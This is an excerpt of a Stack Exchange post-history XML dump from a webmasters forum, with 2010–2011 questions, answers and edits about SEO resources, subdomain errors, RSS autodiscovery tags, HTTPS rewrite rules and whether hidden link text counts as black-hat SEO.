  <row Id="22927" PostHistoryTypeId="2" PostId="10273" RevisionGUID="09ce5ac2-5d06-42bf-b01d-cb0d3608e57d" CreationDate="2011-03-08T11:49:46.283" UserId="4998" Text="There are hundreds of SEO website out there, but I'll admit it's sometimes hard to find the good ones. I like SEOmoz.com, the Unbounce blog, the Performable.com blog, and a few others.&#xD;&#xA;&#xD;&#xA;This article provides a TON of good basic information for someone just getting started, with links to all the necessary resources.&#xD;&#xA;&#xD;&#xA;http://www.seanogle.com/uncategorized/become-an-seo-freelancer" />
  <row Id="22928" PostHistoryTypeId="2" PostId="10274" RevisionGUID="3b3546a4-97e5-4473-a4ad-5d7cc8a7137b" CreationDate="2011-03-08T11:49:51.077" UserId="2332" Text="In the future, you should set up [Basic Authentication in Apache][1] or [IIS][2] for test pages.  This will not only prevent indexing (even from spiders that don't respect `robots.txt`) but will also prevent random users from getting to your site and seeing what you don't want to be public yet.&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/1.3/howto/auth.html#basic&#xD;&#xA;  [2]: http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/abbca505-6f63-4267-aac1-1ea89d861eb4.mspx?mfr=true" />
  <row Id="22929" PostHistoryTypeId="17" PostId="10276" RevisionGUID="1893e00f-6680-41a1-96d4-6f6912bf8be6" CreationDate="2011-03-08T12:02:21.800" UserId="-1" Comment="from http://stackoverflow.com/questions/4747413/website-showing-increase-visit-rate-in-google-analytics-for-those-keywords-which/4758471#4758471" Text="" />
  <row Id="22930" PostHistoryTypeId="17" PostId="10277" RevisionGUID="088ad6bc-e466-4428-bd77-ae11399dbd04" CreationDate="2011-03-08T12:02:21.800" UserId="-1" Comment="from http://stackoverflow.com/questions/4747413/website-showing-increase-visit-rate-in-google-analytics-for-those-keywords-which/4771531#4771531" Text="" />
  <row Id="22931" PostHistoryTypeId="2" PostId="10276" RevisionGUID="4d409b38-ed9e-41e1-a586-d28ac474d46b" CreationDate="2011-01-21T11:52:58.920" UserId="2290" Text="check with google webmaster tools and &quot;your site on the web&quot; -&gt; &quot;search queries&quot;. if they show up there, then yes, your site does get found for these terms, maybe not on google.com but on another country domain (google.de, google.co.uk) so you didn't see it in your small scale test.&#xD;&#xA;&#xD;&#xA;if they don't show up on google webmaster tools then there is the chance that another site used your google analytics id (there is no tracking f*ck up i haven't seen before...) then you can use http://blekko.com/ to find this (it has some advanced find sites with same tracking features) " />
  <row Id="22932" PostHistoryTypeId="2" PostId="10277" RevisionGUID="6bfb7549-6b08-42b5-95f8-d4569066e687" CreationDate="2011-01-23T00:24:05.593" UserDisplayName="Mo_S" Text="Google shows different results for different countries, check which countries these users cam from, then log on to a web proxy and surf Google from that location, maybe in that country you rank on top...&#xD;&#xA;&#xD;&#xA;Another option is that it is bots that are scanning the net...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22933" PostHistoryTypeId="2" PostId="10275" RevisionGUID="66bb2e91-d570-45e5-a225-79499e30152f" CreationDate="2011-01-20T12:59:44.763" UserDisplayName="user440771" Text="I have a strange scenario. My website's google analytics are showing the increase rate in visits for those keywords (using google organic) which are not listed in google. &#xD;&#xA;&#xD;&#xA;I can see in google analytics that 500 user visits mysite using XYZ Keyword by Google Organic search. but I search XYZ in google search engine i can't even see my website in first 20 pages. &#xD;&#xA;&#xD;&#xA;How could it be possible?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22934" PostHistoryTypeId="1" PostId="10275" RevisionGUID="66bb2e91-d570-45e5-a225-79499e30152f" CreationDate="2011-01-20T12:59:44.763" UserDisplayName="user440771" Text="website showing increase visit rate in google analytics for those keywords which are not even listed in google" />
  <row Id="22935" PostHistoryTypeId="3" PostId="10275" RevisionGUID="66bb2e91-d570-45e5-a225-79499e30152f" CreationDate="2011-01-20T12:59:44.763" UserDisplayName="user440771" Text="&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="22936" PostHistoryTypeId="17" PostId="10275" RevisionGUID="24482877-68f3-4834-ac1f-b0f8ae42ae89" CreationDate="2011-03-08T12:02:21.800" UserId="-1" Comment="from http://stackoverflow.com/questions/4747413/website-showing-increase-visit-rate-in-google-analytics-for-those-keywords-which" Text="" />
  <row Id="22937" PostHistoryTypeId="2" PostId="10278" RevisionGUID="011f3893-c3bb-4a34-bb1a-eed59fba7a3d" CreationDate="2011-03-08T12:03:16.687" UserId="5938" Text="I Am Facing the same problem, e.g. my main domain is working perfectly for say http://example.com, and many sub domains are also working properly as ex1.example.com, ex2.example.com but one subdomain ex3.example.com is not working...&#xD;&#xA;&#xD;&#xA;It always gives a 404 error page, where as all the setups are working correctly even this subdomain is conecting throught FTP, and when i try the complete address i.e. ex3.example.com/index.html, then too it gives a 404 page..&#xD;&#xA;&#xD;&#xA;please suggest me what to do...?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22938" PostHistoryTypeId="2" PostId="10279" RevisionGUID="bd9816e1-8873-40fe-ba81-d9c41708088b" CreationDate="2011-03-08T12:24:16.767" UserId="1583" Text="Using some lateral thinking if you use &lt;a href=&quot;https://www.pivotaltracker.com/help#whatarepublicprojects&quot;&gt;Pivotal Tracker&lt;/a&gt; for maintaining your feature/bug development as a public project you will be able to describe where you are taking the project, get free hosting for your project plan and free publicity on the Pivotal Tracker site." />
  <row Id="22939" PostHistoryTypeId="2" PostId="10280" RevisionGUID="b2834f51-959b-49ad-ac38-75a7c0ffd03a" CreationDate="2011-03-08T12:27:47.877" UserId="5939" Text="I've got a site that includes a blog amongst other things. I'm adding the &lt;link rel=&quot;alternate&quot;&gt; tag for autodiscovery of the RSS feed. &#xD;&#xA;&#xD;&#xA;There's only one feed on the site. Should &lt;link rel=&quot;alternate&quot;&gt; live on every page (i.e. I put it in the base template)?&#xD;&#xA;&#xD;&#xA;Or should it just live on the blog index page and/or individual blog post pages?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22940" PostHistoryTypeId="1" PostId="10280" RevisionGUID="b2834f51-959b-49ad-ac38-75a7c0ffd03a" CreationDate="2011-03-08T12:27:47.877" UserId="5939" Text="RSS feed &lt;link rel=&quot;alternate&quot;&gt; on which pages?" />
  <row Id="22941" PostHistoryTypeId="3" PostId="10280" RevisionGUID="b2834f51-959b-49ad-ac38-75a7c0ffd03a" CreationDate="2011-03-08T12:27:47.877" UserId="5939" Text="&lt;rss&gt;&lt;feeds&gt;" />
  <row Id="22942" PostHistoryTypeId="17" PostId="10282" RevisionGUID="faa99ce4-2ccb-46a3-a071-c61155aaf966" CreationDate="2011-03-08T12:28:58.040" UserId="-1" Comment="from http://stackoverflow.com/questions/2047429/seo-tips-and-tricks-for-web-developers/2047453#2047453" Text="" />
  <row Id="22943" PostHistoryTypeId="17" PostId="10283" RevisionGUID="61bee611-c4ba-43d6-834c-ca4c0402b71e" CreationDate="2011-03-08T12:28:58.040" UserId="-1" Comment="from http://stackoverflow.com/questions/2047429/seo-tips-and-tricks-for-web-developers/2053270#2053270" Text="" />
  <row Id="22944" PostHistoryTypeId="17" PostId="10284" RevisionGUID="bfb23ef8-05df-4406-9c03-631cff3e0a67" CreationDate="2011-03-08T12:28:58.040" UserId="-1" Comment="from http://stackoverflow.com/questions/2047429/seo-tips-and-tricks-for-web-developers/2064896#2064896" Text="" />
  <row Id="22945" PostHistoryTypeId="17" PostId="10285" RevisionGUID="b3c6b4db-7527-4738-b56b-9c7857fc98ce" CreationDate="2011-03-08T12:28:58.040" UserId="-1" Comment="from http://stackoverflow.com/questions/2047429/seo-tips-and-tricks-for-web-developers/2066249#2066249" Text="" />
  <row Id="22946" PostHistoryTypeId="17" PostId="10286" RevisionGUID="b6a78964-6950-452c-b5c7-1ea366a02c1d" CreationDate="2011-03-08T12:28:58.040" UserId="-1" Comment="from http://stackoverflow.com/questions/2047429/seo-tips-and-tricks-for-web-developers/2066332#2066332" Text="" />
  <row Id="22947" PostHistoryTypeId="17" PostId="10287" RevisionGUID="aa1263bd-12eb-46d9-9753-59a75cf7f778" CreationDate="2011-03-08T12:28:58.040" UserId="-1" Comment="from http://stackoverflow.com/questions/2047429/seo-tips-and-tricks-for-web-developers/2816164#2816164" Text="" />
  <row Id="22948" PostHistoryTypeId="17" PostId="10288" RevisionGUID="fe655ead-3390-43f7-98dc-d0dd51a1f3b7" CreationDate="2011-03-08T12:28:58.040" UserId="-1" Comment="from http://stackoverflow.com/questions/2047429/seo-tips-and-tricks-for-web-developers/3036607#3036607" Text="" />
  <row Id="22949" PostHistoryTypeId="17" PostId="10289" RevisionGUID="e5d56d54-7711-414b-999f-fac224695e3d" CreationDate="2011-03-08T12:28:58.040" UserId="-1" Comment="from http://stackoverflow.com/questions/2047429/seo-tips-and-tricks-for-web-developers/4153885#4153885" Text="" />
  <row Id="22950" PostHistoryTypeId="2" PostId="10282" RevisionGUID="157707f8-933f-4c92-bb39-6f20453483e0" CreationDate="2010-01-12T07:46:07.387" UserDisplayName="Marek Karbarz" Text="Very generic - use the [Microsoft SEO Toolkit](http://www.microsoft.com/web/seo/default.aspx) to see how a search engine sees your web page." />
  <row Id="22951" PostHistoryTypeId="2" PostId="10283" RevisionGUID="654ca0a1-ff8c-4764-81fa-8266be99cbf2" CreationDate="2010-01-12T23:32:40.887" UserId="4296" Text="Read. Read _lots_. SEO is a science, albeit not an exact one. A lot of very smart people have a lot of opinions on the best way to optimize a website for search engines. Not all of the opinions are good, however. The best thing you can do is try to take in as much information as possible--but all with a grain of salt--and then form your own approach based on your own opinions and your experiences.&#xD;&#xA;&#xD;&#xA;[SEOmoz][1] is a great place to start. Grab the [cheat sheet][2], read their articles (especially in the [Technical Issues category][3]) and use their tools.&#xD;&#xA;&#xD;&#xA;[Google's Webmaster Central][4] is also invaluable, together with its and his [YouTube channel][5]. Make sure to follow [Matt Cutts][6]' blog and Twitter (though he's currently not tweeting) as well (he's they guy in most of the videos).&#xD;&#xA;&#xD;&#xA;Other good sites include [Search Engine Land][7], and its [SearchCap][8]--a daily recap of lots of interesting search engine news. [Marketing Pilgrim][9] is another good site, although it's more about search engine marketing in general and not specifically about SEO.&#xD;&#xA;&#xD;&#xA;Then, experiment. Create sites (note: plural) where you can employ various techniques and see the results first-hand. You can even monetize your sites with AdSense or other means to get more than just knowledge out of it.&#xD;&#xA;&#xD;&#xA;It's also worth noting that a lot of SEO are attributed to content. Search engines love blogs and press releases, as they provide dynamic content that they can index. Press releases are great because they normally generate backlinks when other sites pick them up (and edit, which prevents duplicate content for you!). Blog posts can do the same if they get noticed by other blogs.&#xD;&#xA;&#xD;&#xA;After all, there's only so much you can do with code.&#xD;&#xA;&#xD;&#xA;The most valuable tip I can give you, however, is to **stay away from blackhat SEO**. It may be tempting, but *it's not worth it*. It may be easy, but *it's not worth it*. If you get caught, you're finished. Play fair and the search engines will respond in kind.&#xD;&#xA;&#xD;&#xA;Other than that; ask more specific questions. &quot;How can I increase SEO&quot; is very general and vague, and you're not going to get very good answers. &quot;Do you think technique X is worthwhile?&quot; or &quot;Which is better, Y or Z?&quot; are examples of questions that are easier to address.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/&#xD;&#xA;  [2]: http://www.seomoz.org/blog/the-web-developers-seo-cheat-sheet&#xD;&#xA;  [3]: http://www.seomoz.org/blog/category/22&#xD;&#xA;  [4]: http://www.google.com/webmasters/&#xD;&#xA;  [5]: http://www.youtube.com/user/GoogleWebmasterHelp&#xD;&#xA;  [6]: http://www.mattcutts.com/blog/&#xD;&#xA;  [7]: http://searchengineland.com&#xD;&#xA;  [8]: http://searchengineland.com/searchcap&#xD;&#xA;  [9]: http://www.marketingpilgrim.com" />
  <row Id="22952" PostHistoryTypeId="2" PostId="10284" RevisionGUID="3a976b18-fdba-4de1-a9f0-4a6a6409441a" CreationDate="2010-01-14T14:49:28.950" UserDisplayName="The Mirage" Text="As stated, be very careful if you outsource this service.  If you are interested in doing the SEO yourself, just stick to 'the basics'!&#xD;&#xA;&#xD;&#xA; - Give images 'alt-text'&#xD;&#xA; - Don't make exclusively flash-based sites.&#xD;&#xA; - Fill out all tags and such completely&#xD;&#xA; - Use heading appropriately&#xD;&#xA; - Read, read and read some more.  There are articles available for every aspect of SEO.&#xD;&#xA;&#xD;&#xA;Keep in mind people/companies do this as a full time job, so as a single developer, you can't focus too much on SEO.  Do things as you go, so you don't have to re-comb-over your complete stuff." />
  <row Id="22953" PostHistoryTypeId="2" PostId="10285" RevisionGUID="8a724281-f997-4347-8e20-7242d9af0438" CreationDate="2010-01-14T17:48:44.203" UserId="3095" Text="From a developers point of view I would say alway think SEO when building any site which will be seen and indexed by the search engines. &#xD;&#xA;&#xD;&#xA; - Semantically Correct HTML&#xD;&#xA; - H1 H2 H3 P tags are your friends use them well&#xD;&#xA; - Only 1 h1 per page.. and not the company logo / name.&#xD;&#xA; - Rewrite your URL so they dont use query strings&#xD;&#xA; - Page title = H1 (well the the h1 keywords)&#xD;&#xA; - Alt tags&#xD;&#xA; - label attributes for forms&#xD;&#xA; - watch your url case. (I dont care that IIS allows mixed case, mypage.aspx MyPage.aspx MYPAGE.aspx etc) will all be seen by google as diffrent pages to fix this use the canonical url meta tag. &#xD;&#xA;&#xD;&#xA;The vast marjority of SEO is done by the selection of keywords and writing the copy properly. As a developer you don't have to worry about this, your job is to give the copy its best chance of working possible.  " />
  <row Id="22954" PostHistoryTypeId="2" PostId="10286" RevisionGUID="155f3ec2-1719-41f1-b528-a49c94a0d7f4" CreationDate="2010-01-14T18:03:09.910" UserDisplayName="Dave Anderson" Text="Adhere to all the [web accessibility guidelines][1] since essentially the search engine crawlers just like a blind user.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/WCAG/" />
  <row Id="22955" PostHistoryTypeId="2" PostId="10287" RevisionGUID="e30cfd95-5274-4aa3-8fec-7294b7fe0021" CreationDate="2010-05-12T04:57:24.117" UserDisplayName="movers" Text="Excellent information , lots of helpful tips, I have been raking my brain trying to find ways as to how does one invite traffic into my blog.." />
  <row Id="22956" PostHistoryTypeId="2" PostId="10288" RevisionGUID="12a3e286-faea-4756-b3d1-932b9905a541" CreationDate="2010-06-14T10:54:08.947" UserDisplayName="louism" Text="if you want something you can take and run with straight away, i would suggest a basic ***on-page*** seo checklist like the following:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;Source: [Bare Minimum On-Page SEO][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;--LM&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://2.bp.blogspot.com/_TUs17IBrSL4/SKyssL-Xh_I/AAAAAAAAAEg/pfUfujlUBB8/s400/seo_checklist_screenshot.png&#xD;&#xA;  [2]: http://pm4web.blogspot.com/2008/08/bare-minimum-on-page-seo.html" />
  <row Id="22957" PostHistoryTypeId="2" PostId="10289" RevisionGUID="9a6d83d8-4453-46e6-86d5-63486d535b77" CreationDate="2010-11-11T11:24:33.910" UserDisplayName="Anand Soni" Text="good checklist on on-page SEO. i am following these tips to bring more traffic on my website.&#xD;&#xA;&#xD;&#xA;[hire seo expert][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.harihan.com/search-engine-optimization.html" />
  <row Id="22958" PostHistoryTypeId="2" PostId="10281" RevisionGUID="1599878a-b588-4b3d-8174-474f849a889a" CreationDate="2010-01-12T07:40:39.720" UserDisplayName="Chendur Pandian" Text="I know most of the Users of Stackoverflow would have knowledge about **Search Engine Optimization(SEO)**.. Any tips and tricks about SEO for your fellow web developers ...&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA; - Good book about SEO?&#xD;&#xA; - Good blogs/websites about SEO?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22959" PostHistoryTypeId="1" PostId="10281" RevisionGUID="1599878a-b588-4b3d-8174-474f849a889a" CreationDate="2010-01-12T07:40:39.720" UserDisplayName="Chendur Pandian" Text="SEO Tips and Tricks for web developers" />
  <row Id="22960" PostHistoryTypeId="3" PostId="10281" RevisionGUID="1599878a-b588-4b3d-8174-474f849a889a" CreationDate="2010-01-12T07:40:39.720" UserDisplayName="Chendur Pandian" Text="&lt;web-development&gt;&lt;books&gt;&lt;seo&gt;&lt;blog&gt;" />
  <row Id="22961" PostHistoryTypeId="17" PostId="10281" RevisionGUID="c6217fd0-1f57-454b-a79a-87c1eeeff246" CreationDate="2011-03-08T12:28:58.040" UserId="-1" Comment="from http://stackoverflow.com/questions/2047429/seo-tips-and-tricks-for-web-developers" Text="" />
  <row Id="22962" PostHistoryTypeId="5" PostId="10281" RevisionGUID="fbd1833b-6ff4-42c0-8a65-14597047f7a4" CreationDate="2011-03-08T12:38:07.207" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to increase your site&amp;#39;s position in Google?](http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I know most of the Users of Stackoverflow would have knowledge about **Search Engine Optimization(SEO)**.. Any tips and tricks about SEO for your fellow web developers ...&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA; - Good book about SEO?&#xD;&#xA; - Good blogs/websites about SEO?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22963" PostHistoryTypeId="10" PostId="10281" RevisionGUID="b700ec79-c207-4143-8648-8267f86f0026" CreationDate="2011-03-08T12:38:07.097" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="22964" PostHistoryTypeId="2" PostId="10290" RevisionGUID="07934a24-08f0-4a7d-bef2-b3894af940d5" CreationDate="2011-03-08T12:39:23.053" UserId="5124" Text="Try&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REMOTE_ADDR} !127\.0\.0\.0&#xD;&#xA;    RewriteCond %{SERVER_PORT} 80 [OR]&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^www.domain\.com$&#xD;&#xA;    RewriteRule ^(.*)$ https://www.domain.com/$1 [R,L]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22966" PostHistoryTypeId="2" PostId="10292" RevisionGUID="a898f780-94d0-4a27-b2fa-41133bd8f3fc" CreationDate="2011-03-08T12:42:01.777" UserId="1253" Text="Put it on every page. Your goal is to get people to subscribe to your feed and you want to take advantage of every opportunity to get them to do so. Since all that tag does (in the major browsers) is put the RSS icon in the address bar it's hardly intrusive. So put it in the `&lt;head&gt;` of every page and maximize the chances of someone subscribing." />
  <row Id="22968" PostHistoryTypeId="5" PostId="10265" RevisionGUID="60452519-f9f4-4365-b564-1329c84dfc9a" CreationDate="2011-03-08T12:42:59.013" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to increase your site&amp;#39;s position in Google?](http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'm a web developer (.NET) and a newbie to the SEO world!&#xD;&#xA;&#xD;&#xA;Where and how to start ?&#xD;&#xA;&#xD;&#xA;What are the steps to go from a newbie to be a more experienced SEO ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance =)" />
  <row Id="22969" PostHistoryTypeId="10" PostId="10265" RevisionGUID="157d16bd-7dc3-4045-bac5-0979c7c23772" CreationDate="2011-03-08T12:42:58.857" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="22970" PostHistoryTypeId="5" PostId="7356" RevisionGUID="f250b287-1f0a-4830-8a2e-0361ddd54ced" CreationDate="2011-03-08T12:49:09.927" UserId="5739" Comment="OP added extra info in response to a request but couldn't edit his question." Text="My main domain works just fine - www.example.com and a subdomain set up by another developer works as well - sub1.example.com. But when I try to set another subdomain up I go through the process everything seems to work. The software creates the default files where the subdomain files should go. But when I try to browse there it doesn't work. My host uses Plesk to do all of the hosting stuff.&#xD;&#xA;&#xD;&#xA;What do you think the problem is?&#xD;&#xA;&#xD;&#xA;I doubt it is some sort of cache issue because I had problems on my phone which I tried after problems on the pc. Maybe for some reason Plesk needs time to set this up? I have used Cpanel before and that works instantly.&#xD;&#xA;&#xD;&#xA;EDITED Additional Information provided by the OP&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When I ping the domain I receive this reply:&#xD;&#xA;&#xD;&#xA;    ping: cannot resolve drnick.burnhamrichards.com: Unknown host&#xD;&#xA;&#xD;&#xA;Viewing the url in my broswer gives this error:&#xD;&#xA;&#xD;&#xA;    Oops! Google Chrome could not find sub1.example.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I visited the IP and I got a generic landing page that says something like &quot;welcome, you see this page because there is no website at this address&quot; and since I am using virtual hosts I imagine that is what I am supposed to see.&#xD;&#xA;&#xD;&#xA;When I log into plesk I see that the a-records for both sub1.example.com and sub2.example.com are pointing to the same IP." />
  <row Id="22971" PostHistoryTypeId="24" PostId="7356" RevisionGUID="f250b287-1f0a-4830-8a2e-0361ddd54ced" CreationDate="2011-03-08T12:49:09.927" Comment="Proposed by 5739 approved by 1253 edit id of 52" />
  <row Id="22972" PostHistoryTypeId="5" PostId="10289" RevisionGUID="f9906b50-7b67-4fb4-b2d8-e7732c8150d3" CreationDate="2011-03-08T12:55:59.627" UserId="1253" Comment="removed self promotional link" Text="good checklist on on-page SEO. i am following these tips to bring more traffic on my website.&#xD;&#xA;" />
  <row Id="22973" PostHistoryTypeId="2" PostId="10293" RevisionGUID="c53ad21b-157f-4897-9f4a-c7cfbabcc816" CreationDate="2011-03-08T13:10:06.670" UserId="3063" Text="My aim is to simply be informative about where a link is pointing to search engines. I have some content that is listed by name and then I have a &quot;Permalink&quot; button. Would it be blackhat SEO to add some hidden text within the anchor that describes where the permalink is pointing?&#xD;&#xA;&#xD;&#xA;My content is like so:&#xD;&#xA;&#xD;&#xA;    News Item 1&#xD;&#xA;    Permalink &#xD;&#xA;    (&lt;a href=&quot;/my-news-item-1&quot;&gt;&lt;hidden&gt;News Item 1&lt;/hidden&gt; Permalink&lt;/a&gt;)&#xD;&#xA;    Teaser text..&#xD;&#xA;&#xD;&#xA;The news title of the block already links to the article, but I think it would be of benefit to users to provide and explicit permalink button." />
  <row Id="22974" PostHistoryTypeId="1" PostId="10293" RevisionGUID="c53ad21b-157f-4897-9f4a-c7cfbabcc816" CreationDate="2011-03-08T13:10:06.670" UserId="3063" Text="Is it considered blackhat SEO to have hidden text within links?" />
  <row Id="22975" PostHistoryTypeId="3" PostId="10293" RevisionGUID="c53ad21b-157f-4897-9f4a-c7cfbabcc816" CreationDate="2011-03-08T13:10:06.670" UserId="3063" Text="&lt;seo&gt;&lt;links&gt;" />
  <row Id="22976" PostHistoryTypeId="2" PostId="10294" RevisionGUID="91469525-5085-4411-9999-47f636cce266" CreationDate="2011-03-08T13:17:16.907" UserId="5941" Text="Dmoz added my site a month ago, they spent a total of 14 seconds looking at it( i have analytics) so do they really care what actually gets on there&#xD;&#xA;Dmoz has not sffected my serp position or my PR in any way, i only have 20 backlinks so if DMOZ was worth anything i would have moved up the ranks for my choosen kerywords&#xD;&#xA;" />
  <row Id="22977" PostHistoryTypeId="2" PostId="10295" RevisionGUID="97487930-5e37-4f17-b43b-7f8dc188b703" CreationDate="2011-03-08T13:25:12.207" UserId="3461" Text="I'd prefer to do a `&lt;a href=&quot;&quot; title=&quot;whichever the text&quot;&gt;&lt;/a&gt;`&#xD;&#xA;&#xD;&#xA;Anyway, that seems to be a premade Dokuwiki tag? Which actually adds a javascript that initially sets a display:none to the block. If is the case I think it would not harm SEO." />
  <row Id="22981" PostHistoryTypeId="2" PostId="10297" RevisionGUID="38f44d9f-5f7f-49fe-b01f-440d84bdf8f9" CreationDate="2011-03-08T13:28:37.100" UserId="5148" Text="@Tom&#xD;&#xA;For a forum I would make sure to filter off (both in analysis and output filters) e.g. user profile pages and similar. Only include real discussion topics/pages.&#xD;&#xA;&#xD;&#xA;@Gaurav&#xD;&#xA;The max URLs per XML sitemap file is 50,000 URLs / 10 MB (but some tools may default to less per sitemap file) You can configure tools like A1 Sitemap Generator to parse through forms and most Javascript. You can also add multiple start search paths and combine it with a variety of filters. So I disagree 3rd party apps are bound to miss URLs :)" />
  <row Id="22985" PostHistoryTypeId="2" PostId="10298" RevisionGUID="4d4f3286-7782-4269-bb85-c0b8971702a7" CreationDate="2011-03-08T14:01:39.507" UserId="1253" Text="That is the very definition of black hat SEO. You are serving up different content to the search engines for the explicit purpose of manipulating their rankings. &#xD;&#xA;&#xD;&#xA;The solution offered by S.gfx is the correct one. Additionally, search engines know that permalink is for that page. There's no need to stuff keywords in there. It won't make a difference anyway." />
  <row Id="22986" PostHistoryTypeId="25" PostId="10293" RevisionGUID="ddeb722c-6277-4f09-ad6b-a6ea10589949" CreationDate="2011-03-08T14:23:31.837" Comment="http://twitter.com/#!/StackWebmasters/status/45127509876023296" />
  <row Id="22987" PostHistoryTypeId="6" PostId="10293" RevisionGUID="190fddc4-8d16-4e21-b48d-c32a58ea3ae3" CreationDate="2011-03-08T14:32:31.243" UserId="1253" Comment="added &quot;blackhat&quot; tag" Text="&lt;seo&gt;&lt;links&gt;&lt;blackhat&gt;" />
  <row Id="22988" PostHistoryTypeId="2" PostId="10299" RevisionGUID="0405c40f-7cfa-47c8-8ebc-9321b65b4f04" CreationDate="2011-03-08T14:34:39.730" UserId="5944" Text="I'm looking for an easy-to-use web-shop, with the ability to pay by credit-card. Can you recommend any providers?&#xD;&#xA;&#xD;&#xA;I've not yet researched this myself, and I've never dealt with credit card payments, so any and all advice on that subject is welcome.&#xD;&#xA;&#xD;&#xA;P.S.: I am a full-time web-developer, so don't be afraid to get technical." />
  <row Id="22989" PostHistoryTypeId="1" PostId="10299" RevisionGUID="0405c40f-7cfa-47c8-8ebc-9321b65b4f04" CreationDate="2011-03-08T14:34:39.730" UserId="5944" Text="Easy-to-use, hosted web-shop with the ability to accept credit card payments" />
  <row Id="22990" PostHistoryTypeId="3" PostId="10299" RevisionGUID="0405c40f-7cfa-47c8-8ebc-9321b65b4f04" CreationDate="2011-03-08T14:34:39.730" UserId="5944" Text="&lt;web-hosting&gt;" />
  <row Id="22991" PostHistoryTypeId="5" PostId="10169" RevisionGUID="610ca0ca-995d-4667-8110-722347d6e777" CreationDate="2011-03-08T14:37:03.173" UserId="5847" Comment="added 120 characters in body" Text="My website nutrishopbrandon.com &amp; nutrishoptampa.com was on page one of google and not it has dissappeared. Is the google search ranking drop because:&#xD;&#xA;1) from a flash banner recently added on the front page&#xD;&#xA;2) is it just being re-indexed on all serach engines &#xD;&#xA;3) is it seen as duplicate content as there are separate websites for the cities of Tampa and Brandon but with the same content? &#xD;&#xA;&#xD;&#xA;What can be done to fix this? " />
  <row Id="22992" PostHistoryTypeId="5" PostId="10169" RevisionGUID="ab4f376c-68e9-49e6-affb-8fe81faca77c" CreationDate="2011-03-08T14:38:15.683" UserId="1253" Comment="Formatted text, added duplicate content tag" Text="My website nutrishopbrandon.com &amp; nutrishoptampa.com was on page one of google and not it has dissappeared. Is the google search ranking drop because:&#xD;&#xA;&#xD;&#xA;1) from a flash banner recently added on the front page&#xD;&#xA;&#xD;&#xA;2) is it just being re-indexed on all serach engines &#xD;&#xA;&#xD;&#xA;3) is it seen as duplicate content as there are separate websites for the cities of Tampa and Brandon but with the same content? &#xD;&#xA;&#xD;&#xA;What can be done to fix this? " />
  <row Id="22993" PostHistoryTypeId="6" PostId="10169" RevisionGUID="ab4f376c-68e9-49e6-affb-8fe81faca77c" CreationDate="2011-03-08T14:38:15.683" UserId="1253" Comment="Formatted text, added duplicate content tag" Text="&lt;seo&gt;&lt;google-search&gt;&lt;duplicate-content&gt;" />
  <row Id="22994" PostHistoryTypeId="5" PostId="10169" RevisionGUID="389f8da9-76f8-42f6-bcb8-2556b4da3de8" CreationDate="2011-03-08T14:42:05.087" UserId="5847" Comment="added 34 characters in body" Text="My website nutrishopbrandon.com &amp; nutrishoptampa.com was on page one of google and now it has dissappeared. Is the google search ranking drop because:&#xD;&#xA;&#xD;&#xA;1) from a flash banner recently added on the front page&#xD;&#xA;&#xD;&#xA;2) is the site just being re-indexed on all serach engines b/c of new content?&#xD;&#xA;&#xD;&#xA;3) is it seen as duplicate content as there are separate websites for the cities of Tampa and Brandon but with the same content? &#xD;&#xA;&#xD;&#xA;What can be done to fix this? &#xD;&#xA;Thanks!" />
  <row Id="22995" PostHistoryTypeId="2" PostId="10300" RevisionGUID="b973db97-669a-4c08-b713-27bc01fba16e" CreationDate="2011-03-08T14:52:02.690" UserId="5857" Text="Quick question:&#xD;&#xA;&#xD;&#xA;I'm trying to decide on the best domain name for my niche. I have it narrowed down to the following options:&#xD;&#xA;&#xD;&#xA;keyword.co&#xD;&#xA;&#xD;&#xA;mykeyword.com&#xD;&#xA;&#xD;&#xA;keywordnetwork.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Which of these domain names will perform the best from an SEO perspective?" />
  <row Id="22996" PostHistoryTypeId="1" PostId="10300" RevisionGUID="b973db97-669a-4c08-b713-27bc01fba16e" CreationDate="2011-03-08T14:52:02.690" UserId="5857" Text="SEO Domain Name Optimization" />
  <row Id="22997" PostHistoryTypeId="3" PostId="10300" RevisionGUID="b973db97-669a-4c08-b713-27bc01fba16e" CreationDate="2011-03-08T14:52:02.690" UserId="5857" Text="&lt;seo&gt;&lt;domain-names&gt;" />
